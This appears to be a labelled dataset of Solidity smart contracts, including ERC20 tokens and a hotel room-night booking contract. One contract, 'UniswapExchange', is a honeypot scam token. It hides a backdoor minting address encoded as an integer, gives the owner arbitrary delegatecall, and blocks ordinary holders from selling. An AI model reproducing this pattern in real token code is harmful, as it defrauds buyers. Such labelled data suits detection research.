"uint256 Amount to Transfer (last six digits are decimals)",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID"
);
bytes32 public sigDestinationApproveAndCall = keccak256(
"address Token Contract Address",
"address Withdrawal Approval Address",
"address Withdrawal Recipient Address",
"uint256 Amount to Transfer (last six digits are decimals)",
"bytes Data to Transfer",
"uint256 Fee in Tokens Paid to Executor (last six digits are decimals)",
"uint256 Signature Expiration Timestamp (unix timestamp)",
"uint256 Signature ID"
);
constructor (string tokenName, string tokenSymbol) public {
name = tokenName;
symbol = tokenSymbol;
rescueAccount = tokenDistributor = msg.sender;
}
function internalTransfer (address from, address to, uint value) internal {
require(to != 0x0 && balanceOf[from] >= value && balanceOf[to] + value >= balanceOf[to]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
function internalDoubleTransfer (address from, address to1, uint value1, address to2, uint value2) internal {
require(
to1 != 0x0 && to2 != 0x0 && value1 + value2 >= value1 && balanceOf[from] >= value1 + value2
&& balanceOf[to1] + value1 >= balanceOf[to1] && balanceOf[to2] + value2 >= balanceOf[to2]
);
balanceOf[from] -= value1 + value2;
balanceOf[to1] += value1;
emit Transfer(from, to1, value1);
if (value2 > 0) {
balanceOf[to2] += value2;
emit Transfer(from, to2, value2);
}
}
function requireSignature (
bytes32 data, address signer, uint256 deadline, uint256 sigId, bytes sig, sigStandard std, sigDestination signDest
) internal {
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
require(block.timestamp <= deadline && !usedSigIds[signer][sigId]);
if (std == sigStandard.typed) {
require(
signer == ecrecover(
keccak256(
signDest == sigDestination.transfer
? sigDestinationTransfer
: signDest == sigDestination.approve
? sigDestinationApprove
: signDest == sigDestination.approveAndCall
? sigDestinationApproveAndCall
: sigDestinationTransferFrom,
data
),
v, r, s
)
);
} else if (std == sigStandard.personal) {
require(
signer == ecrecover(keccak256(ethSignedMessagePrefix, "32", data), v, r, s)
||
signer == ecrecover(keccak256(ethSignedMessagePrefix, "\x20", data), v, r, s)
);
} else {
require(
signer == ecrecover(keccak256(ethSignedMessagePrefix, "64", hexToString(data)), v, r, s)
||
signer == ecrecover(keccak256(ethSignedMessagePrefix, "\x40", hexToString(data)), v, r, s)
);
}
usedSigIds[signer][sigId] = true;
}
function hexToString (bytes32 sig) internal pure returns (bytes) {
bytes memory str = new bytes(64);
for (uint8 i = 0; i < 32; ++i) {
str[2 * i] = byte((uint8(sig[i]) / 16 < 10 ? 48 : 87) + uint8(sig[i]) / 16);
str[2 * i + 1] = byte((uint8(sig[i]) % 16 < 10 ? 48 : 87) + (uint8(sig[i]) % 16));
}
return str;
}
function transfer (address to, uint256 value) public returns (bool) {
internalTransfer(msg.sender, to, value);
return true;
}
function transferViaSignature (
address from,
address to,
uint256 value,
uint256 fee,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd
) external returns (bool) {
requireSignature(
keccak256(address(this), from, to, value, fee, deadline, sigId),
from, deadline, sigId, sig, sigStd, sigDestination.transfer
);
internalDoubleTransfer(from, to, value, msg.sender, fee);
return true;
}
function approve (address spender, uint256 value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveViaSignature (
address from,
address spender,
uint256 value,
uint256 fee,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd
) external returns (bool) {
requireSignature(
keccak256(address(this), from, spender, value, fee, deadline, sigId),
from, deadline, sigId, sig, sigStd, sigDestination.approve
);
allowance[from][spender] = value;
emit Approval(from, spender, value);
internalTransfer(from, msg.sender, fee);
return true;
}
function transferFrom (address from, address to, uint256 value) public returns (bool) {
require(value <= allowance[from][msg.sender]);
allowance[from][msg.sender] -= value;
internalTransfer(from, to, value);
return true;
}
function transferFromViaSignature (
address signer,
address from,
address to,
uint256 value,
uint256 fee,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd
) external returns (bool) {
requireSignature(
keccak256(address(this), signer, from, to, value, fee, deadline, sigId),
signer, deadline, sigId, sig, sigStd, sigDestination.transferFrom
);
require(value <= allowance[from][signer] && value >= fee);
allowance[from][signer] -= value;
internalDoubleTransfer(from, to, value - fee, msg.sender, fee);
return true;
}
function approveAndCall (address spender, uint256 value, bytes extraData) public returns (bool) {
approve(spender, value);
tokenRecipient(spender).receiveApproval(msg.sender, value, this, extraData);
return true;
}
function approveAndCallViaSignature (
address from,
address spender,
uint256 value,
bytes extraData,
uint256 fee,
uint256 deadline,
uint256 sigId,
bytes sig,
sigStandard sigStd
) external returns (bool) {
requireSignature(
keccak256(address(this), from, spender, value, extraData, fee, deadline, sigId),
from, deadline, sigId, sig, sigStd, sigDestination.approveAndCall
);
allowance[from][spender] = value;
emit Approval(from, spender, value);
tokenRecipient(spender).receiveApproval(from, value, this, extraData);
internalTransfer(from, msg.sender, fee);
return true;
}
function multiMint (address[] recipients, uint256[] amounts) external {
require(tokenDistributor != 0x0 && tokenDistributor == msg.sender && recipients.length == amounts.length);
uint total = 0;
for (uint i = 0; i < recipients.length; ++i) {
balanceOf[recipients[i]] += amounts[i];
total += amounts[i];
emit Transfer(0x0, recipients[i], amounts[i]);
}
totalSupply += total;
}
function lastMint () external {
require(tokenDistributor != 0x0 && tokenDistributor == msg.sender && totalSupply > 0);
uint256 remaining = totalSupply * 40 / 60;
uint256 fractionalPart = (remaining + totalSupply) % (uint256(10) ** decimals);
if (fractionalPart <= remaining)
remaining -= fractionalPart;
balanceOf[tokenDistributor] += remaining;
emit Transfer(0x0, tokenDistributor, remaining);
totalSupply += remaining;
tokenDistributor = 0x0;
}
function rescueTokens (Pasadena tokenContract, uint256 value) public {
require(msg.sender == rescueAccount);
tokenContract.approve(rescueAccount, value);
}
function changeRescueAccount (address newRescueAccount) public {
require(msg.sender == rescueAccount);
rescueAccount = newRescueAccount;
}
} | 1 | 4,462 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,425 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract UChainToken is ERC20 {
using SafeMath for uint256;
string constant public name = 'UChain Token';
string constant public symbol = 'UCN';
uint8 constant public decimals = 18;
uint256 constant public decimalFactor = 10 ** uint(decimals);
uint256 public totalSupply;
bool public isMintingFinished = false;
mapping(address => bool) public admins;
struct Vesting {
uint256 vestedUntil;
uint256 vestedAmount;
}
mapping(address => Vesting) public vestingEntries;
bool public isTransferEnabled = false;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowances;
event MintFinished();
event Mint(address indexed _beneficiary, uint256 _value);
event MintVested(address indexed _beneficiary, uint256 _value);
event AdminRemoved(address indexed _adminAddress);
event AdminAdded(address indexed _adminAddress);
constructor() public {
admins[msg.sender] = true;
}
function totalSupply() public view returns (uint256) {
return totalSupply - balances[address(0)];
}
function balanceOf(address _tokenOwner) public view returns (uint256) {
return balances[_tokenOwner];
}
function allowance(address _tokenOwner, address _spender) public view returns (uint256) {
return allowances[_tokenOwner][_spender];
}
modifier onlyAdmin() {
require(admins[msg.sender]);
_;
}
function removeAdmin(address _adminAddress) public onlyAdmin {
delete admins[_adminAddress];
emit AdminRemoved(_adminAddress);
}
function addAdmin(address _adminAddress) public onlyAdmin {
admins[_adminAddress] = true;
emit AdminAdded(_adminAddress);
}
function isAdmin(address _adminAddress) public view returns (bool) {
return admins[_adminAddress];
}
function mint(address _beneficiary, uint256 _value) public onlyAdmin returns (bool) {
require(!isMintingFinished);
totalSupply = totalSupply.add(_value);
balances[_beneficiary] = balances[_beneficiary].add(_value);
emit Mint(_beneficiary, _value);
emit Transfer(address(0), _beneficiary, _value);
return true;
}
function bulkMint(address[] _beneficiaries, uint256[] _values) public onlyAdmin returns (bool) {
require(_beneficiaries.length == _values.length);
for (uint256 i = 0; i < _beneficiaries.length; i = i.add(1)) {
require(mint(_beneficiaries[i], _values[i]));
}
return true;
}
function mintVested(uint256 _vestedUntil, address _beneficiary, uint256 _value) public onlyAdmin returns (bool) {
require(mint(_beneficiary, _value));
vestingEntries[_beneficiary] = Vesting(_vestedUntil, _value);
emit MintVested(_beneficiary, _value);
return true;
}
function bulkMintVested(uint256 _vestedUntil, address[] _beneficiaries, uint256[] _values) public onlyAdmin returns (bool) {
require(_beneficiaries.length == _values.length);
for (uint256 i = 0; i < _beneficiaries.length; i = i.add(1)) {
require(mintVested(_vestedUntil, _beneficiaries[i], _values[i]));
}
return true;
}
function finishMinting() public onlyAdmin {
isMintingFinished = true;
}
function getNonVestedBalanceOf(address _tokenOwner) public view returns (uint256) {
if (block.timestamp < vestingEntries[_tokenOwner].vestedUntil) {
return balances[_tokenOwner].sub(vestingEntries[_tokenOwner].vestedAmount);
} else {
return balances[_tokenOwner];
}
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled);
require(_to != address(0));
require(_value <= getNonVestedBalanceOf(msg.sender));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled);
require(_to != address(0));
require(_value <= getNonVestedBalanceOf(_from));
require(_value <= allowances[_from][msg.sender]);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function setIsTransferEnabled(bool _isTransferEnabled) public onlyAdmin {
isTransferEnabled = _isTransferEnabled;
}
} | 1 | 5,028 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TRNData is Owned {
TripioRoomNightData dataSource;
modifier onlyVendor {
uint256 vendorId = dataSource.vendorIds(msg.sender);
require(vendorId > 0);
(,,,bool valid) = dataSource.getVendor(vendorId);
require(valid);
_;
}
modifier vendorValid(address _vendor) {
uint256 vendorId = dataSource.vendorIds(_vendor);
require(vendorId > 0);
(,,,bool valid) = dataSource.getVendor(vendorId);
require(valid);
_;
}
modifier vendorIdValid(uint256 _vendorId) {
(,,,bool valid) = dataSource.getVendor(_vendorId);
require(valid);
_;
}
modifier ratePlanExist(uint256 _vendorId, uint256 _rpid) {
(,,,bool valid) = dataSource.getVendor(_vendorId);
require(valid);
require(dataSource.ratePlanIsExist(_vendorId, _rpid));
_;
}
modifier validToken(uint256 _tokenId) {
require(_tokenId > 0);
require(dataSource.roomNightIndexToOwner(_tokenId) != address(0));
_;
}
modifier validTokenInBatch(uint256[] _tokenIds) {
for(uint256 i = 0; i < _tokenIds.length; i++) {
require(_tokenIds[i] > 0);
require(dataSource.roomNightIndexToOwner(_tokenIds[i]) != address(0));
}
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = dataSource.roomNightIndexToOwner(_tokenId);
bool isOwner = (msg.sender == owner);
bool isApproval = (msg.sender == dataSource.roomNightApprovals(_tokenId));
bool isOperator = (dataSource.operatorApprovals(owner, msg.sender));
require(isOwner || isApproval || isOperator);
_;
}
modifier canTransferInBatch(uint256[] _tokenIds) {
for(uint256 i = 0; i < _tokenIds.length; i++) {
address owner = dataSource.roomNightIndexToOwner(_tokenIds[i]);
bool isOwner = (msg.sender == owner);
bool isApproval = (msg.sender == dataSource.roomNightApprovals(_tokenIds[i]));
bool isOperator = (dataSource.operatorApprovals(owner, msg.sender));
require(isOwner || isApproval || isOperator);
}
_;
}
modifier canOperate(uint256 _tokenId) {
address owner = dataSource.roomNightIndexToOwner(_tokenId);
bool isOwner = (msg.sender == owner);
bool isOperator = (dataSource.operatorApprovals(owner, msg.sender));
require(isOwner || isOperator);
_;
}
modifier validDate(uint256 _date) {
require(_date > 0);
require(dateIsLegal(_date));
_;
}
modifier validDates(uint256[] _dates) {
for(uint256 i = 0;i < _dates.length; i++) {
require(_dates[i] > 0);
require(dateIsLegal(_dates[i]));
}
_;
}
function dateIsLegal(uint256 _date) pure private returns(bool) {
uint256 year = _date / 10000;
uint256 mon = _date / 100 - year * 100;
uint256 day = _date - mon * 100 - year * 10000;
if(year < 1970 || mon <= 0 || mon > 12 || day <= 0 || day > 31)
return false;
if(4 == mon || 6 == mon || 9 == mon || 11 == mon){
if (day == 31) {
return false;
}
}
if(((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) {
if(2 == mon && day > 29) {
return false;
}
}else {
if(2 == mon && day > 28){
return false;
}
}
return true;
}
constructor() public {
}
}
contract TRNPrices is TRNData {
constructor() public {
}
event RatePlanPriceChanged(uint256 indexed _rpid);
event RatePlanInventoryChanged(uint256 indexed _rpid);
event RatePlanBasePriceChanged(uint256 indexed _rpid);
function _updatePrices(uint256 _rpid, uint256 _date, uint16 _inventory, uint256[] _tokens, uint256[] _prices) private {
uint256 vendorId = dataSource.vendorIds(msg.sender);
dataSource.updateInventories(vendorId, _rpid, _date, _inventory);
for (uint256 tindex = 0; tindex < _tokens.length; tindex++) {
dataSource.updatePrice(vendorId, _rpid, _date, _tokens[tindex], _prices[tindex]);
}
}
function _updateInventories(uint256 _rpid, uint256 _date, uint16 _inventory) private {
uint256 vendorId = dataSource.vendorIds(msg.sender);
dataSource.updateInventories(vendorId, _rpid, _date, _inventory);
}
function updateBasePrice(uint256 _rpid, uint256[] _tokens, uint256[] _prices, uint16 _inventory)
external
ratePlanExist(dataSource.vendorIds(msg.sender), _rpid)
returns(bool) {
require(_tokens.length == _prices.length);
require(_prices.length > 0);
uint256 vendorId = dataSource.vendorIds(msg.sender);
dataSource.updateBaseInventory(vendorId, _rpid, _inventory);
for (uint256 tindex = 0; tindex < _tokens.length; tindex++) {
dataSource.updateBasePrice(vendorId, _rpid, _tokens[tindex], _prices[tindex]);
}
emit RatePlanBasePriceChanged(_rpid);
return true;
}
function updatePrices(uint256 _rpid, uint256[] _dates, uint16 _inventory, uint256[] _tokens, uint256[] _prices)
external
ratePlanExist(dataSource.vendorIds(msg.sender), _rpid)
returns(bool) {
require(_dates.length > 0);
require(_tokens.length == _prices.length);
require(_prices.length > 0);
for (uint256 index = 0; index < _dates.length; index++) {
_updatePrices(_rpid, _dates[index], _inventory, _tokens, _prices);
}
emit RatePlanPriceChanged(_rpid);
return true;
}
function updateInventories(uint256 _rpid, uint256[] _dates, uint16 _inventory)
external
ratePlanExist(dataSource.vendorIds(msg.sender), _rpid)
returns(bool) {
for (uint256 index = 0; index < _dates.length; index++) {
_updateInventories(_rpid, _dates[index], _inventory);
}
emit RatePlanInventoryChanged(_rpid);
return true;
}
function inventoriesOfDate(uint256 _vendorId, uint256 _rpid, uint256[] _dates)
external
view
ratePlanExist(_vendorId, _rpid)
returns(uint16[]) {
require(_dates.length > 0);
uint16[] memory result = new uint16[](_dates.length);
for (uint256 index = 0; index < _dates.length; index++) {
uint256 date = _dates[index];
(uint16 inventory,) = dataSource.getInventory(_vendorId, _rpid, date);
result[index] = inventory;
}
return result;
}
function pricesOfDate(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _token)
external
view
ratePlanExist(_vendorId, _rpid)
returns(uint256[]) {
require(_dates.length > 0);
uint256[] memory result = new uint256[](_dates.length);
for (uint256 index = 0; index < _dates.length; index++) {
(,, uint256 _price) = dataSource.getPrice(_vendorId, _rpid, _dates[index], _token);
result[index] = _price;
}
return result;
}
function pricesAndInventoriesOfDate(uint256 _vendorId, uint256 _rpid, uint256[] _dates, uint256 _token)
external
view
returns(uint256[], uint16[]) {
uint256[] memory prices = new uint256[](_dates.length);
uint16[] memory inventories = new uint16[](_dates.length);
for (uint256 index = 0; index < _dates.length; index++) {
(uint16 _inventory,, uint256 _price) = dataSource.getPrice(_vendorId, _rpid, _dates[index], _token);
prices[index] = _price;
inventories[index] = _inventory;
}
return (prices, inventories);
}
function priceOfDate(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token)
external
view
ratePlanExist(_vendorId, _rpid)
returns(uint16 _inventory, uint256 _price) {
(_inventory, , _price) = dataSource.getPrice(_vendorId, _rpid, _date, _token);
}
}
library LinkedListLib {
uint256 constant NULL = 0;
uint256 constant HEAD = 0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList {
mapping (uint256 => mapping (bool => uint256)) list;
uint256 length;
uint256 index;
}
function listExists(LinkedList storage self)
internal
view returns (bool) {
return self.length > 0;
}
function nodeExists(LinkedList storage self, uint256 _node)
internal
view returns (bool) {
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
function sizeOf(LinkedList storage self)
internal
view
returns (uint256 numElements) {
return self.length;
}
function getNode(LinkedList storage self, uint256 _node)
public
view
returns (bool, uint256, uint256) {
if (!nodeExists(self,_node)) {
return (false, 0, 0);
} else {
return (true, self.list[_node][PREV], self.list[_node][NEXT]);
}
}
function getAdjacent(LinkedList storage self, uint256 _node, bool _direction)
public
view
returns (bool, uint256) {
if (!nodeExists(self,_node)) {
return (false,0);
} else {
return (true,self.list[_node][_direction]);
}
}
function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)
public
view
returns (uint256) {
if (sizeOf(self) == 0) {
return 0;
}
require((_node == 0) || nodeExists(self,_node));
bool exists;
uint256 next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
function createLink(LinkedList storage self, uint256 _node, uint256 _link, bool _direction)
private {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction)
internal
returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
uint256 c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
self.length++;
return true;
} else {
return false;
}
}
function remove(LinkedList storage self, uint256 _node)
internal
returns (uint256) {
if ((_node == NULL) || (!nodeExists(self,_node))) {
return 0;
}
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
self.length--;
return _node;
}
function add(LinkedList storage self, uint256 _index, bool _direction)
internal
returns (uint256) {
insert(self, HEAD, _index, _direction);
return self.index;
}
function push(LinkedList storage self, bool _direction)
internal
returns (uint256) {
self.index++;
insert(self, HEAD, self.index, _direction);
return self.index;
}
function pop(LinkedList storage self, bool _direction)
internal
returns (uint256) {
bool exists;
uint256 adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
contract TripioToken {
string public name;
string public symbol;
uint8 public decimals;
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
}
contract TripioRoomNightData is Owned {
using LinkedListLib for LinkedListLib.LinkedList;
bytes4 constant public interfaceSignature_ERC165 = 0x01ffc9a7;
bytes4 constant public interfaceSignature_ERC721Metadata = 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd;
bytes4 constant public interfaceSignature_ERC721 = 0x70a08231 ^ 0x6352211e ^ 0xb88d4fde ^ 0x42842e0e ^ 0x23b872dd ^ 0x095ea7b3 ^ 0xa22cb465 ^ 0x081812fc ^ 0xe985e9c5;
string public tokenBaseURI;
struct AuthorizedContract {
string name;
address acontract;
}
mapping (address=>uint256) public authorizedContractIds;
mapping (uint256 => AuthorizedContract) public authorizedContracts;
